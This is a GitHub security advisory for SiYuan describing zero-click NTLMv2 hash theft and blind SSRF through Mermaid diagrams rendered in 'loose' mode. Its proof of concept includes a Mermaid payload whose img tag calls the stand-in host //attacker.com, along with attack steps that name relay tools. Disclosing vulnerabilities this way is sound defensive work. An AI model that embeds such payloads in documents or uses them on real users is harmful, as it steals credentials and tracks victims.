Skip to content

SiYuan Affected by Zero-Click NTLM Hash Theft and Blind SSRF via Mermaid Diagram Rendering

High severity GitHub Reviewed Published Apr 9, 2026 in siyuan-note/siyuan • Updated Apr 10, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

< 0.0.0-20260407035653-2f416e5253f1

Patched versions

0.0.0-20260407035653-2f416e5253f1

Description

SiYuan configures Mermaid.js with securityLevel: "loose" and htmlLabels: true. In this mode, <img> tags with src attributes survive Mermaid's internal DOMPurify and land in SVG <foreignObject> blocks. The SVG is injected via innerHTML with no secondary sanitization. When a victim opens a note containing a malicious Mermaid diagram, the Electron client fetches the URL.

On Windows, a protocol-relative URL (//attacker.com/image.png) resolves as a UNC path (\\attacker.com\image.png). Windows attempts SMB authentication automatically, sending the victim's NTLMv2 hash to the attacker.

Root Cause

Mermaid initialization at app/src/protyle/render/mermaidRender.ts lines 28 and 33:

mermaid.initialize({
    securityLevel: "loose",
    flowchart: {
        htmlLabels: true,
    },
});

SVG injection at line 101:

renderElement.lastElementChild.innerHTML = mermaidData.svg;

No DOMPurify or other sanitization between the Mermaid output and DOM insertion.

Mermaid v11.12.0 in "loose" mode strips active JavaScript (<script>, onerror, onload) but explicitly allows <img> tags with src attributes in the final SVG output. Verified by rendering the PoC below through the Mermaid CLI with matching configuration.

The Electron main process at app/electron/main.js line 78 sets disable-web-security, and lines 319+ set webSecurity: false, nodeIntegration: true, contextIsolation: false on all BrowserWindows. The disabled web security allows protocol-relative URLs to resolve as UNC paths.

Proof of Concept

Mermaid code block in a SiYuan note:

```mermaid
graph TD
    A["<img src='//attacker.com/share/img.png'>"] --> B[Normal Node]
```

Rendered SVG output (verified with Mermaid CLI 11.12.0, securityLevel: "loose", htmlLabels: true):

<foreignObject>
  <div xmlns="http://www.w3.org/1999/xhtml">
    <span class="nodeLabel">
      <p><img src="//attacker.com/share/img.png" style="..."></p>
    </span>
  </div>
</foreignObject>

What was stripped by Mermaid's internal sanitizer (verified): onerror, onload, all event handler attributes, <script> tags, file:// URLs.

What survived (verified): <img src="http://...">, <img src="//...">.

Attack steps:

  1. Attacker creates a note or .sy export containing the Mermaid block above
  2. Attacker hosts a listener on attacker.com (Responder, ntlmrelayx, or HTTP logger)
  3. Victim imports the notebook or opens the shared note
  4. SiYuan renders the Mermaid diagram, injects SVG via innerHTML
  5. Electron fetches //attacker.com/share/img.png

On Windows: Electron resolves the protocol-relative URL as a UNC path. Windows sends NTLMv2 credentials to the attacker's SMB server.

On macOS/Linux: Electron makes an HTTP request to the attacker's server, leaking the victim's IP and confirming when the note was read.

Impact

Zero-click credential theft on Windows. The victim only needs to view the note. NTLMv2 hashes can be cracked offline or used in relay attacks. On all platforms, the request acts as a tracking pixel and blind SSRF from the victim's machine.

No configuration changes required. The securityLevel: "loose" setting is hardcoded in SiYuan's Mermaid initialization.

Suggested Fix

Change Mermaid initialization to securityLevel: "strict". If HTML labels are required, add a DOMPurify pass on the SVG output before the innerHTML assignment at mermaidRender.ts:101, configured to strip <img> tags or enforce a strict URI allowlist blocking external and protocol-relative URLs.

References

@88250 88250 published to siyuan-note/siyuan Apr 9, 2026
Published by the National Vulnerability Database Apr 9, 2026
Published to the GitHub Advisory Database Apr 10, 2026
Reviewed Apr 10, 2026
Last updated Apr 10, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(15th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-40107

GHSA ID

GHSA-w95v-4h65-j455

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.